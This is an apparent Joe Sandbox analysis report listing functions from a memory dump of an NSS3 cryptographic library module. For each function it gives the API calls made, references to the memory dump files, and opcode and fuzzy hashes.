Opcode Fuzzy Hash: a47cec87ffb16eec42b3e17ea5b1873ed267dd2b53a271f06459d6f2a2db4c2a
Instruction Fuzzy Hash: 2061D175B102049FDB44CF68DC94B6A7BB1FF5A328F20812CE915AB790DB35AD06CB90

Function 6CE9FF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6CE9F165,?), ref: 6CE9FF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6CE9F165,?), ref: 6CE9FF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CE9F165,?), ref: 6CE9FF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CE9F165,?), ref: 6CE9FF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6CE9F165,?), ref: 6CE9FFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6CE9F165,6CF6219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE9FFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6CE9F165,?), ref: 6CEA00A6

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: a0e9993c2fc4c4efcea7acad3866398d0f482c70237b11890fc7cc1ad342fdb0
Instruction ID: f2508a6c6f11f31fae682526331855fd09967be784b5abecd305cf6dc999f7e1
Opcode Fuzzy Hash: a0e9993c2fc4c4efcea7acad3866398d0f482c70237b11890fc7cc1ad342fdb0
Instruction Fuzzy Hash: 04510471E002559FDB108E9AC8D07AEB7B5FB49318F354629DD5AABB40D332AD02CBD1

Function 6CE5DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE5DF37
EnterCriticalSection.KERNEL32(?), ref: 6CE5DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE5DF96
PR_SetError.NSS3(00000000,00000000), ref: 6CE5E02B
PR_Unlock.NSS3(?), ref: 6CE5E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CE5E090
PR_Unlock.NSS3(?), ref: 6CE5E0AF

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: e0c7135ebea9eb2ebc7c0e5e177fd5372ed0aa9f50682ae131ee1c6cecc33241
Instruction ID: b23cbeb9d45b500a43237cfac22052e5d4ea344716d3473b7c0a44f3a74f1c3d
Opcode Fuzzy Hash: e0c7135ebea9eb2ebc7c0e5e177fd5372ed0aa9f50682ae131ee1c6cecc33241
Instruction Fuzzy Hash: 5151B135A00A00DFDB209F24D845B6673B5FF45318FB04528E85A87B91D73BE969CBE2

Function 6CE5BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CE5BD1E

Part of subcall function 6CE32F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE32F0A
Part of subcall function 6CE32F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE32F1D

Part of subcall function 6CE757D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CE3B41E,00000000,00000000,?,00000000,?,6CE3B41E,00000000,00000000,00000001,?), ref: 6CE757E0
Part of subcall function 6CE757D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CE75843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE5BD8C

Part of subcall function 6CE8FAB0: free.MOZGLUE(?,-00000001,?,?,6CE2F673,00000000,00000000), ref: 6CE8FAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6CE5BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CE5BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE5BE3A

Part of subcall function 6CE33E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE33EC2
Part of subcall function 6CE33E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE33ED6
Part of subcall function 6CE33E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE33EEE
Part of subcall function 6CE33E60: PR_CallOnce.NSS3(6CF92AA4,6CE912D0), ref: 6CE33F02
Part of subcall function 6CE33E60: PL_FreeArenaPool.NSS3 ref: 6CE33F14
Part of subcall function 6CE33E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE33F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE5BE52

Part of subcall function 6CE32E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE32CDA,?,00000000), ref: 6CE32E1E
Part of subcall function 6CE32E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CE32E33
Part of subcall function 6CE32E00: TlsGetValue.KERNEL32 ref: 6CE32E4E
Part of subcall function 6CE32E00: EnterCriticalSection.KERNEL32(?), ref: 6CE32E5E
Part of subcall function 6CE32E00: PL_HashTableLookup.NSS3(?), ref: 6CE32E71
Part of subcall function 6CE32E00: PL_HashTableRemove.NSS3(?), ref: 6CE32E84
Part of subcall function 6CE32E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CE32E96
Part of subcall function 6CE32E00: PR_Unlock.NSS3 ref: 6CE32EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE5BE61

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: f41e25f3c966a2ee96b5633e010e4cfba92c2add8a2d34d1e16575938a1f55ea
Instruction ID: a6335084ce82489ec6b0d30a6398ad92cd1d47a3b06dec122555d1cbb9cc82ed
Opcode Fuzzy Hash: f41e25f3c966a2ee96b5633e010e4cfba92c2add8a2d34d1e16575938a1f55ea
Instruction Fuzzy Hash: C441C2B6E01210AFC710CF28DC80B6A77F4EB45718F65416CE9499B752E736E914CB92

Function 6CE7AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CE7AB3E,?,?,?), ref: 6CE7AC35

Part of subcall function 6CE5CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CE5CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CE7AB3E,?,?,?), ref: 6CE7AC55

Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE910F3
Part of subcall function 6CE910C0: EnterCriticalSection.KERNEL32(?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9110C
Part of subcall function 6CE910C0: PL_ArenaAllocate.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91141
Part of subcall function 6CE910C0: PR_Unlock.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91182
Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CE7AB3E,?,?), ref: 6CE7AC70

Part of subcall function 6CE5E300: TlsGetValue.KERNEL32 ref: 6CE5E33C
Part of subcall function 6CE5E300: EnterCriticalSection.KERNEL32(?), ref: 6CE5E350
Part of subcall function 6CE5E300: PR_Unlock.NSS3(?), ref: 6CE5E5BC
Part of subcall function 6CE5E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CE5E5CA
Part of subcall function 6CE5E300: TlsGetValue.KERNEL32 ref: 6CE5E5F2
Part of subcall function 6CE5E300: EnterCriticalSection.KERNEL32(?), ref: 6CE5E606
Part of subcall function 6CE5E300: PORT_Alloc_Util.NSS3(?), ref: 6CE5E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CE7AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE7AB3E), ref: 6CE7ACD7
PORT_Alloc_Util.NSS3(?), ref: 6CE7AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CE7AD2B

Part of subcall function 6CE5F360: TlsGetValue.KERNEL32(00000000,?,6CE7A904,?), ref: 6CE5F38B
Part of subcall function 6CE5F360: EnterCriticalSection.KERNEL32(?,?,?,6CE7A904,?), ref: 6CE5F3A0
Part of subcall function 6CE5F360: PR_Unlock.NSS3(?,?,?,?,6CE7A904,?), ref: 6CE5F3D3

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: d2b144a0c0fd4289f2f50bf0748cbf7245f7ae5a9d68433ed83f707a9e8a9f57
Instruction ID: b2cc8c0d1eb0e4e1ccce333ddcaf3967d34cb3d672d635d9bf9eca78c0693a7c
Opcode Fuzzy Hash: d2b144a0c0fd4289f2f50bf0748cbf7245f7ae5a9d68433ed83f707a9e8a9f57
Instruction Fuzzy Hash: 3E3127B2E406056FEB108F699C409AF7776AF8432CB28852CE814ABB40EB31DD15C7B1

Function 6CE58C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CE58C7C

Part of subcall function 6CEF9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF40A27), ref: 6CEF9DC6
Part of subcall function 6CEF9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF40A27), ref: 6CEF9DD1
Part of subcall function 6CEF9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CEF9DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE58CB0
TlsGetValue.KERNEL32 ref: 6CE58CD1
EnterCriticalSection.KERNEL32(?), ref: 6CE58CE5
PR_Unlock.NSS3(?), ref: 6CE58D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CE58D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE58D93

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: b693d1e415a32225a86f5a159596e68a5f2804287a1088d04a98631c38f6c84b
Instruction ID: 8a2ba5d2dba6c4db5e39d7d8f4f7a284af7a584d9df27d8f053babadd7328ba1
Opcode Fuzzy Hash: b693d1e415a32225a86f5a159596e68a5f2804287a1088d04a98631c38f6c84b
Instruction Fuzzy Hash: 89316871E41201AFEB10AF68CC4479AB7B8BF15318F74013AEA1967B50D732A935CBC1

Function 6CE99D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CE99C5B), ref: 6CE99D82

Part of subcall function 6CE914C0: TlsGetValue.KERNEL32 ref: 6CE914E0
Part of subcall function 6CE914C0: EnterCriticalSection.KERNEL32 ref: 6CE914F5
Part of subcall function 6CE914C0: PR_Unlock.NSS3 ref: 6CE9150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CE99C5B), ref: 6CE99DA9

Part of subcall function 6CE91340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE3895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE2F599,?,00000000), ref: 6CE9136A
Part of subcall function 6CE91340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CE3895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE2F599,?,00000000), ref: 6CE9137E
Part of subcall function 6CE91340: PL_ArenaGrow.NSS3(?,6CE2F599,?,00000000,?,6CE3895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE2F599,?), ref: 6CE913CF
Part of subcall function 6CE91340: PR_Unlock.NSS3(?,?,6CE3895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE2F599,?,00000000), ref: 6CE9145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CE99C5B), ref: 6CE99DCE

Part of subcall function 6CE91340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE3895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE2F599,?,00000000), ref: 6CE913F0
Part of subcall function 6CE91340: PL_ArenaGrow.NSS3(?,6CE2F599,?,?,?,00000000,00000000,?,6CE3895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6CE91445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CE99C5B), ref: 6CE99DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6CE99C5B), ref: 6CE99DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CE99C5B), ref: 6CE99E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6CE99C5B), ref: 6CE99E91

Part of subcall function 6CEDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEDC2BF

Part of subcall function 6CE91560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6CE8FAAB,00000000), ref: 6CE9157E
Part of subcall function 6CE91560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CE8FAAB,00000000), ref: 6CE91592
Part of subcall function 6CE91560: memset.VCRUNTIME140(?,00000000,?), ref: 6CE91600
Part of subcall function 6CE91560: PL_ArenaRelease.NSS3(?,?), ref: 6CE91620
Part of subcall function 6CE91560: PR_Unlock.NSS3(?), ref: 6CE91639

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: f371876c788f83ff9785954560462858a739c7300f9c9c562f86cd14683075ab
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 6E415CB4601606AFE740DF55D840BA2BBB5FF45358F648128D8188BFA1EB72E834CB90

Function 6CE5DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CE5DDEC

Part of subcall function 6CE90840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CE908B4

PK11_DigestBegin.NSS3(00000000), ref: 6CE5DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6CE5DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6CE5DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6CE5DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CE5DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE5DECC

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 642508241cf738a42ffb1a0d28570d29c24ab7afb99c7e9d658aed51b99db860
Instruction ID: 25d59f07511c52531fddce6d906a62bb7b24e77df92d572fa065390b6cf710ab
Opcode Fuzzy Hash: 642508241cf738a42ffb1a0d28570d29c24ab7afb99c7e9d658aed51b99db860
Instruction Fuzzy Hash: 9731CBB6E002146BEB006F64AD41BBB76B89F5570CF650139ED09E7701FB32DA24C6E2

Function 6CE37E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE37E48

Part of subcall function 6CE90FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE387ED,00000800,6CE2EF74,00000000), ref: 6CE91000
Part of subcall function 6CE90FF0: PR_NewLock.NSS3(?,00000800,6CE2EF74,00000000), ref: 6CE91016
Part of subcall function 6CE90FF0: PL_InitArenaPool.NSS3(00000000,security,6CE387ED,00000008,?,00000800,6CE2EF74,00000000), ref: 6CE9102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CE37E5B

Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE910F3
Part of subcall function 6CE910C0: EnterCriticalSection.KERNEL32(?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9110C
Part of subcall function 6CE910C0: PL_ArenaAllocate.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91141
Part of subcall function 6CE910C0: PR_Unlock.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91182
Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE37E7B

Part of subcall function 6CE8FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CE88D2D,?,00000000,?), ref: 6CE8FB85
Part of subcall function 6CE8FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CE8FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CF5925C,?), ref: 6CE37E92

Part of subcall function 6CE8B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF618D0,?), ref: 6CE8B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE37EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CE37ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CE37EFA

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: 18cd6c849b071109770b531ec1461d191c052d7fda364a080a41285c1d38076c
Instruction ID: df5396751cd43bcf4f395b0810385a74781440f69853a4e9e74d30877673967e
Opcode Fuzzy Hash: 18cd6c849b071109770b531ec1461d191c052d7fda364a080a41285c1d38076c
Instruction Fuzzy Hash: F8319EB2E01221DBEB109A6A9E41B5B73B8AF4565CF254828DD59EBB41E730FC04C7A0

Function 6CE8DC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6CE8D9E4,00000000), ref: 6CE8DC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6CE8D9E4,00000000), ref: 6CE8DC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6CE8D9E4,00000000), ref: 6CE8DC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CE8DC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE8DCAD

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 2b0fbf419723435b5b7db16e7dd8f6bf10e8188b6ddf7869b4080d76a3015ee7
Instruction ID: 26af569f85670c920914f37ed732837b75a33d26b1283e02669d11ecf3f3f4d2
Opcode Fuzzy Hash: 2b0fbf419723435b5b7db16e7dd8f6bf10e8188b6ddf7869b4080d76a3015ee7
Instruction Fuzzy Hash: 7D3164B99012019FD750CF1DD884B56B7F8AF05358F24842AE95CCBB01E7B1EA54CB91

Function 6CE52E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CE4E728,?,00000038,?,?,00000000), ref: 6CE52E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE52E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE52E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CE52E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CE52E9E
PR_Unlock.NSS3(?), ref: 6CE52EAB
PR_Unlock.NSS3(?), ref: 6CE52F0D

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: fe49943bc2e5164c4bb413b4f0ab267ba9aab67d3bdcb50e19d1b077d9fab78e
Instruction ID: 70aa61b5acfb169ae90b5ceb4ff495ed9816b2fceaea65e3e448634a12ec1a61
